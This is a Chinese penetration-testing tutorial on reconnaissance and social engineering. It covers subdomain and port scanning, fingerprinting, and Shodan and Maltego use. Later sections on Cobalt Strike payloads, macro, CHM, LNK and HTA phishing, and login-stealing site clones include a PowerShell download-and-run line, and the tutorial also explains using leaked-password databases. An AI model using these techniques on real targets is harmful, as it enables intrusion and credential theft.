1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 【渗透测试】信息收集与社工技巧

【渗透测试】信息收集与社工技巧

时间:2019-03-01 04:02:58

相关推荐

【渗透测试】信息收集与社工技巧

文章目录

信息收集与社工技巧信息收集内容信息收集-域名信息收集信息收集-子域名收集信息收集-C段扫描信息收集-Web目录扫描信息收集-指纹识别Google Hacking网络空间搜索引擎情报分析社工库Cobalt Strike工具office钓鱼钓鱼网站克隆和钓鱼邮件 信息收集总览总结在线网站工具

信息收集与社工技巧

信息收集内容

服务器信息(端口、服务、真实IP)网站信息(网站架构(操作系统、中间件、数据库、编程语言)、指纹信息、WAF、敏感目录、敏感文件、源码泄露、旁站查询、C段查询)域名信息(whois、备案信息、子域名)人员信息(姓名、职务、生日、联系电话、邮件地址)

在线网站:/

信息收集-域名信息收集

whois

whois:查询域名的IP以及所有者等信息的传输协议。用来查询域名是否被注册,以及注册域名的详细信息的数据库(如域名所有人,域名注册商

查询方法:

kali:命令行:whois

在线查询网站:

//co/

备案信息

备案信息:在中国大陆进行网站搭建,域名解析都需要对网站服务器进行备案,一般在网站最下方。可以根据备案信息查询网站管理员信息,包括旁站、子域名信息等。

例如:湘ICP备xxx

查询方法:

//

信息收集-子域名收集

子域名收集原因

子域名枚举可以在测试范围内发现更多的域或子域,这将增大漏洞发现几率。有些隐藏的、被忽略的子域上运行的应用程序可能帮助我们发现重大漏洞。在同一个组织的不同域或应用程序中往往存在相同的漏洞。

搜索引擎

原理:通过搜索引擎获取已经爬取的子域名

语法:Site:

域传送

DNS区域传送:一台备用服务器使用来自主服务器的数据刷新自己的域数据库。防止主服务器故障影响域名的解析。

DNS区域传送操作只在网络中真的由备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送。

危害:黑客可以快速的判定出某个特定域的所有主机,收集域信息,选择攻击目标,找出未使用的IP地址,黑客可以绕过基于网络的访问控制。

收集方法:

dig @<DNS服务器ip地址> axfr <被爆破的域名>nslookup 进入交互 -> server dns <被爆破的域名> -> ls <被爆破的域名>fierce -dns <被爆破的域名>

在线网站

/subdomain/

爆破

原理:通过字典匹配枚举存在的域名

kali:

dnsmap -w wordlist

其中wordlist为字典,里面写一些前缀即可,如www,college等;有结果的就会返回IP地址。

Windows:

fuzzDomain子域名挖掘机

ssl证书查询

https://crt.sh/:直接输入域名或ip即可,查询该站点中所有申请了ssl证书的网站

js文件发现子域名

工具

theharvester

可以获取子域名,邮箱,主机,员工姓名,开放端口,banner

常用语法:theharverster -d -b all

AQUATONE

不只通过简单的子域爆破,同时还会利用各种开放的互联网服务和资源来协助其完成子域枚举任务,增加成功率。

aquatone分成三个阶段:发现,扫描,收集

aquatone-discover 发现

通过google、shodan、censys、爆破等多种方式获取目标存在的域名

常用语法:aquatone-discover -d -t 10aquatone-scan 扫描

经过发现阶段获取到域名,然后扫描域名主机存活和开发端口

常用语法:aquatone-scan -d -p ‘port’ -t ‘threads’aquatone-gather 收集

经过扫描以后发现存活的域名和端口,aquatone-gather将自动访问存活的域名并截图

常用语法:aquatone-gather -d

信息收集-C段扫描

C段扫描原因

(1)收集C段内部属于目标的IP

(2)内部服务只限IP访问,没有映射域名

(3)更多的探测主机目标资产

C段扫描方法

(1)Nmap

1)快速扫描大型网络2)可以获得主机运行的端口、服务、系统指纹3)上百个扩展脚本提供日常支持

Nmap-扫描C段主机存活

语法:

nmap -sn -PE -n 192.168.1.1/24 -oX out.xml-sn 不扫描端口,只查看主机是否存活-PE 不进行ICMP扫描-n 不进行DNS解析-oX 将结果输出到某个文件

Namp-定向端口扫描

语法:

nmap -sS -Pn -p 3389 <ip>-sS 扫描方法:半开放扫描-Pn 不进行主机存活探测-p 端口

Nmap-全端口扫描

语法:

nmap -sS -Pn -p 1-65535 -n <ip>

Nmap-服务扫描

语法:

nmap -sS -sV -p 1-65535 -n <ip>显示出端口开发的服务

(2)Masscan

Masscan允许任意地址范围和端口范围,速度很快。

常用语法:

masscan -p 80 <ip>/24 -rate 10000 -oL ouput.txt-p设置端口-rate 发包速率-oL 输出位置

绕过特定ip地址语法:

masscan -p 80 <ip> --excludefile special.txt

信息收集-Web目录扫描

目录扫描原因

(1)寻找网站后台管理

(2)寻找未授权界面

(3)寻找网站更多隐藏信息

目录扫描方法

(1)robots.txt

Robots协议(网络爬虫排除标准),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。同时也记录网站所具有基本的目录。

(2)搜索引擎

搜索引擎会爬取网站下目录,并且不需要触碰网站任何防御设备

语法:

site:

(3)爆破

通过字典匹配网站是否返回相应正确状态码,然后列出存在的目录。

爆破可能会触发网站防火墙拦截规则,造成IP封禁。

工具:

1)dirb

DIRB是一个Web内容扫描程序

通过字典查找Web服务器的响应

DRIB只能扫描网站目录,不能扫描漏洞

语法:

dirb 参数:-a 设置User-Agent,告诉服务器,本地的一些信息。-b 不扫描../或者./-c 设置Cookie-E 设置证书文件-o outfile 保持扫描文件前面出现+号,表示存在文件前面出现==>,表示存在文件夹

2)dirbuster

DirBuster多线程Java应用程序

主要扫描服务器上的目录和文件名

扫描方式分为基于字典和纯爆破

OWASP 下开源项目

语法:

命令行下输入:disbuster,出现窗口界面

字典爆破使用步骤:

1.Target URL输入URL2.work method选择Auto Switch3.Number of Threads线程数,根据环境设定4.select scaning type选择List based brute force5.File with list of dirs/files点击browse选择字典文件6.select starting options选择URL fuzz7.URL to fuzz 输入 /{dir}8.start

3)御剑

信息收集-指纹识别

系统指纹识别

(1)方式1:通过发送TCP/IP数据包到目标主机,由于每个操作系统处理TCP/IP数据包都不相同,所以可以通过它们之间的差别判定操作系统。

方法:

nmap -sS -Pn -O <ip>-O 启用操作系统探测

nmap识别操作系统指纹必须使用端口,所以不允许添加-sn参数。

(2)方式2:端口服务识别,每个操作系统都有特有的服务和端口,如:windows桌面连接使用的3389 RDP协议;windows的smb协议开启端口445;iis 80端口

方法:

nmap -sS -sV <ip>

中间件指纹识别

(1)方式1:通过http返回消息中提取server字段

(2)方式2:通过端口服务探测中间件

常用端口:Tomcat、Jboss 8080,weblogic 7001

方法:

nmap -sS -Pn -sV <ip>

(3)方式3:通过构造错误界面返回信息查看中间件

主要通过构造不存在的路径和畸形数据

Web程序指纹识别

识别目标:开发语言、开发框架、第三方组件、CMS程序、数据库

(1)开发语言

1.后缀名识别:.asp、.php、.jsp2.抓包查看与后台交互点,如:登录、查询等3.http返回消息头:X-Powered-By字段4.cookie信息:PHPSESSIONID -> php、JSPSESSIONID -> jsp、ASPSESSIONIDAASTCACQ -> asp

(2)开发框架

1.php的thinkphp框架识别方法:拥有特定ico图标2.Action后缀90%几率为struts2或者webwork3.do后缀50%几率spring mvc4.url路径 /action/xxx 70%几率struts25.form后缀 60%几率spring mvc6.Vm后缀90%几率VelocityViewServlet7.jsf后缀99%几率Java Server Faces

(3)第三方组件

一般包括流量统计、文件编辑器、模板引擎

识别方法:一般为目录扫描

FCKeditorCKEditor

(4)CMS程序

1.特定文件夹:dede/、admin/admin_Login.aspx2.Powered by ***3.网站favicon图标

(5)数据库

1.常规判断:asp -> sql server,php -> mysql,jsp -> oracle2.网站错误信息3.端口服务:1443 -> sql server,3306 -> mysql,1521 -> oracle

在线探测:

1.浏览器插件:wappalyzer2.云悉 /

防火墙指纹识别

识别方法:

1.nmap -p 80 -srcript http-waf-fingerprint <ip>2.sqlmap -u <域名> -identify-waf

Google Hacking

介绍

使用Google搜索引擎或其他Google应用程序通过特定语法来查找网站配置或代码中的安全漏洞

搜索登录后台、特定文件、漏洞页面、错误信息等等

逻辑运算符

+强制搜索其后的一个单词-把某个字忽略~同意词(同一个意思的词语).单一的通配符*通配符,可代表多个字母""精确查询|或OR只要符合多个关键字中的任意一个的结果就予以显示

基本语法

intext:key搜索网页带有关键字的页面allintext:key功能与intext相似,但是可以接多个关键字intitle:key搜索网页标题中是否由所输入的文字allintitle:key功能与intitle类似,可以接多个关键字,但是不能与别的关键字连用cache:url查看指定url快照filetype:搜索指定类型文件info:搜索输入url的摘要信息和其他相关信息,不能与其他关键词混用inurl:搜索输入字符是否存在于url中,可以于site结合找后台site:搜索特定网站或者子域名related:url搜索与该url相关的,同类的界面

4.案例

1.site: filetype:doc2.site: intitle:登录3.site: inurl:/login4.site:36.110.213.* (C段快速探测)

Google hacking语法收集网站:链接

可以借鉴上面的一些语法使用方法。

网络空间搜索引擎

网络空间搜索引擎介绍

网络空间搜索引擎不同于搜索普通网页,而是直接搜索网络中存在主机,将主机信息汇聚成数据库,然后显示出主机的ip、端口、中间件、摄像头、工控设备banner、等其他网络设备信息。

常见搜索引擎:

国外:shodan国内:zoomeye、fofa

shodan介绍

shodan可以搜索所有与互联网关联的服务器、摄像头、打印机、路由器等等。凡是连接到互联网的红绿灯、安全摄像头、家庭自动化设备以及加热系统等等都会被轻易的搜索到。

基本语法:

hostname:""主机名port:23搜索端口net:192.168.1.0/24CIDR格式的IP地址(私网地址搜索不到,这里只是举个例子;要用公网地址,搜索C段时注意最后一位要设置为0)city:"San Diego"城市product:"Apache httpd"产品version:"2.6.1"软件版本os:"Windows 7"操作系统country:"CN"国家简写org:"google"组织isp:"China Telecom"ISP服务商geo:"38.4681,106.2731"经纬度

kali上运行shodan

(1)安装shodan

pip install shodan

(2)初始化shodan

从官网上注册账号,然后点击右上角show API key

(3)使用shodan

1. 统计结果shodan count net:ip/242. 下载数据,数据格式jsonshodan downoad <filename> <query type>例:shodan download baidu net:ip/243. 解析json数据shodan parse [option] <filenames>例:shodan parse --fields ip_str,port baidu.json.gz4. host搜索指定ipshodan host[option] <ip>例:shodan host ip5. search 搜索内容shodan search [option]<search query>例:shodan search --fields ip_str,port net:ip/24

情报分析

情报分析概念

广义上:情报分析对全源数据进行综合、评估、分析和解读,将处理过的信息转化为情报以满足已知或预期用户需求的过程。

实际上:网络空间情报分析主要是对于目标的ip、域名、电话、邮箱、位置、员工、公司出口网络、内部网络等等进行收集,然后进行综合判断整理汇聚成数据库。

maltego工具

对互联网上的信息进行收集、组织,并将这些信息进行直观展示反馈。

使用方法:

(1)新建任务及配置

1.单击标签“Machines”2.选择“Run Machine”3.弹出对话框选择Footprint L3,点击next4.输入要进行收集的域名,点击finish5.点击finish以后系统会自动收集关于该域名的互联网信息

(2)探测每个点

1.右键节点2.点击All Transforms弹出下拉列表3.点击想继续探测的内容

(3)添加其他搜集信息点

1.左侧界面中选中某个收集点拖放到右边的界面2.双击,选择要探测的信息3.右键选择该节点,在弹出的列表中选择探测方法如果搜集到的信息和其他有关联的话, maltego会自动关联

(4)关联其他插件-shodan

shodan

1.安装插件2.右键节点,点击与shodan相关的想要收集的信息

(5)导出数据

1.点击左上方的maltego图标

2.下拉列表中点击import | export

3.选择Generate Report

4.导出格式为pdf,输入名称,点击save

5.双击打开保存的信息,可以查看到信息异常丰富

社工库

社工库

将互联网泄露的信息汇聚成数据库

简单说:黑客数据库

构建社工库:

/Announcement-Database-Index-CLICK-ME

多维度信息收集

(1)app

设置代理,抓取敏感信息等

(2)微信公众号

(3)目标qq群

群文件,群消息记录

(4)威胁情报

已知的某些漏洞如何利用

(5)网站开发者角度

(6)运维角度

(7)架构师角度去获得目标相关信息

(8)web方面-评论处

1.评论处部分信息未加密2.追加评论和商家回复,抓包获取未加密的数据

(9)web方面-搜索处

1.数据存放未设权限或者防爬处理造成搜索引擎爬取例:wooyun--069909

(10)web方面-转账

1.一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,点击以后可以看到转账信息,由于加密不全,可以抓包查看真实姓名2.转账越权造成信息泄露例:wooyun--0168304

(11)web方面-客服处

客服未经过系统安全培训,当客户询问用户手机号,没有经过验证直接返回给用户

(12)越权-任意查看

平台没有对上传的文件进行复杂格式化处理。例:/xxx/xx/012313.jpg文件极易造成任意读取或者爆破

(13)越权-任意修改

用户在进行订单交易时可以将ID修改成任意ID,然后服务器返回可以查看其他用户信息,如:收货地址例:wooyun--0203940

(14)接口-测试接口用户信息泄露

网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息例:wooyun--0116563

(15)员工信息泄露

1.各第三方平台2.Github3.wooyun--0177720

(16)弱密码问题

1.内部系统员工密码为弱口令或默认密码2.后台管理密码为开发密码

(17)APP信息泄露

1.隐私信息未做加密直接存放本地2.前端信息正常,抓包发现过多信息返回,前后端开发不一致

Cobalt Strike工具

Cobalt Strike介绍

渗透测试软件,分为客户端和服务端,服务端是一个,客户端可以有多个,可以进行团队分布式操作。

Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏diamagnetic生成,包括站点克隆获取浏览器的相关信息等。

Cobalt Strike使用

(1)配置监听器

1.点击上方Cobalt Strike选项,弹出的下拉菜单中选择listeners2.在下方弹出区域中点击Add按钮3.弹出的对话框中首先输入监听器名字,然后选择payload类型,主机位shell反弹接收主机,port反弹端口,然后点击save

(2)生成payload

1.点击attacks->packages->windows executable2.弹出的对话框listener选择起初添加的监听器3.output输出为靶机类型4.点击generate,弹出的对话框中选择保存位置和输入payload名字

(3)主机上线

1.将生成的payload植入到靶机并运行2.主机上线以后需要将默认心跳包改成0,cobalt strike为了维持链接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿3.修改方法:右键主机弹出的下拉菜单中选择session->sleep,弹出的对话框中输入0,点击确定

office钓鱼

office钓鱼介绍

office钓鱼在无需交互、用户无感知的情况下,执行office文档中内嵌的一段恶意代码,从远控地址中下载并运行恶意可执行程序,例如远控木马或者勒索病毒等。

Cobalt Strike 实现office钓鱼

生成一段vba代码,然后将代码复制到office套件中,当用户启动office自动运行

操作:

(1)点击Cobalt Strike主界面中attacks->packages->ms office macro

(2)弹出界面选择Listener,单击确定

(3)对话框中给出每一步仔细操作,单击copy macro按钮

(4)将复制的内容粘贴到word文档中

(5)通过一定方式将该文档传给目标主机

(6)当目标机器运行文档以后,Cobalt Strike会接受到目标机器反弹的shell

(7)目标进程会增加一个rundll32.exe进程

钓鱼

CHM钓鱼

CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。

利用CHM钓鱼主要原因是因为该文档可以执行cmd命令。

CHM制作:

软件:EasyCHM

(1)首先创建一个根目录,文件名任意

(2)在文件内部创建两个目录和一个index.html文件

(3)两个文件夹内部创建任意文件名的html文件

(4)将写好的可编译的文件内容复制到index.html文件中

(5)启动EasyCHM软件

(6)点击工具栏新建按钮,弹出的对话框中点击浏览按钮,选择创建的根目录,文件类型保持一致,点击确定

(7)点击工具栏编译按钮,弹出的对话框中点击生成CHM按钮

(8)将生成的文件通过一定方式发送的目标机器

(9)在客户机运行

钓鱼文件生成:

(1)启动Cobalt Strike软件

(2)点击菜单attacks->web Drive by->scripted web Delivery

(3)弹出的对话框中,type类型设置powershell,单击launch按钮

(4)用代码将index.html中的calc.exe替换

替换注意问题:<PARAM name="Item1" value=",powershell.exe,-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://10.10.10.130:80/a'))">1.需要将原有的单引号换成双引号2.powershell.exe后面加入逗号3.删除IEX前面的双引号4.网址换成单引号

LNK钓鱼

lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常他以快捷方式放在硬盘上,以方便使用者快速的调用。

lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令

制作方法:

(1)创建两个文件

第一个文件为test.ps1,在里面写入以下代码:

第二个文件为test.txt,在里面写入:

/c calc.exe

(2)编译test.ps1文件内容,执行生成lnk文件,系统将打开计算器

钓鱼方法:

与CHM文件步骤类似。

HTA钓鱼

HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件。

HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,它具有桌面程序的所有权限。

制作方法:

(1)打开Cobalt Strike

(2)点击attacks->packages->HTML Application

(3)弹出的对话框中method选择powershell点击generate

(4)弹出的窗口中选择保存位置,点击确定

网站克隆和钓鱼邮件

网站克隆

(1)复制目标网站前端信息

(2)构造相似网页

(3)获取用户登陆数据

方法:

1.cobalt strike能够快速复制目标网站前端页面,并且复制相似度极高2.cobalt strike同时还可以在复制的网站中插入恶意代码,如果本地浏览器带有漏洞的用户,可以直接控制目标机器

具体步骤:

1.点击cobalt strike 主页面选择attack-> Web Drive-by->Clone File2.Clone URL:克隆目标网站的url3.注意问题:URL需要添加http协议和端口(80)4.Local url:本地克隆路径5.Local host:本地主机ip6.Local port:本地端口7.Attack:克隆后目标网站执行脚本,如:flash漏洞

钓鱼邮件

钓鱼邮件指利用伪装的电邮,欺骗收件人将账号、口令等信息回复给指定的接收者;

或引导收件人连接到特制的网页,这些网页通常会伪装成和真是网站一样,如银行或理财的网页,令登录者信以为真,输入信用卡或银行卡好嘛、账户名称及密码等而被盗取。

方法:

工具:swaks

swaks是面向事务的SMTP测试工具。可向任意目标发送给任意内容的邮件

kali自带,官网:swaks

具体步骤:

1.swaks --to XXX@ 测试邮箱连通性2.swaks --to xxx@ --from xxx@ --ehlo --body “welcome MissGun” --header "Subject:welcome"--to收件人--from发件人--ehlo伪造邮件ehlo头--body发送正文--header邮件头信息 -subject:邮件标题

通过邮件伪造可以发送任意内容,如:重置连接,木马等。同时可以结合网站克隆制作钓鱼网页来进行高级钓鱼策略。

信息收集总览

DNS(域名信息收集)

提供域名与IP地址之间的映射

大型企业网站运转核心

收集原因:

1.确定企业网站运行规模

2.可以从DNS中收集子域名、IP等

3.控制网站解析

子域名

例:是的子域名

收集原因:

1.确定企业网站运行数量,从而进行下一步攻击准备

2.获得不同子域名所映射的IP,从而获得不同C段

C段

IPv4分为四段,从左到右,第一段相同表示A段相同,第二段相同表示B段相同,第三段相同表示C段相同,第四段相同表示D段相同。

收集原因:

1.确定C段主机数量

2.确定C段中主机的端口,服务,操作系统等

邮箱

收集原因:

1.通过分析邮箱格式和后缀可以得知邮箱命名规律和邮箱服务器

2.为爆破登录表单收集字典

3.发送钓鱼邮件,执行高级APT控制

指纹

(1)Web指纹

例:获取运行的脚本语言类型、开发框架、CMS、以及版本信息

(2)中间件指纹

例:获取中间使用的产品和版本;通过产品和版本查询是否有漏洞产生

(3)系统指纹

例:获取操作系统使用的产品和版本;可以在以后渗透中提供渗透基准

社工库

寻找指定目标的已经泄露的数据

例:邮箱,获取到企业内部人员已经泄露的密码,可以在撞库,爆破中使用;姓名,手机号,找回密码,重置信息

钓鱼攻击

邮件、链接、办公文件

构造鱼叉攻击和水坑攻击

绕过边界防御设备

从内部瓦解防御网络,直接反弹shell

总结

在线网站

域名信息收集子域名信息收集

工具

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。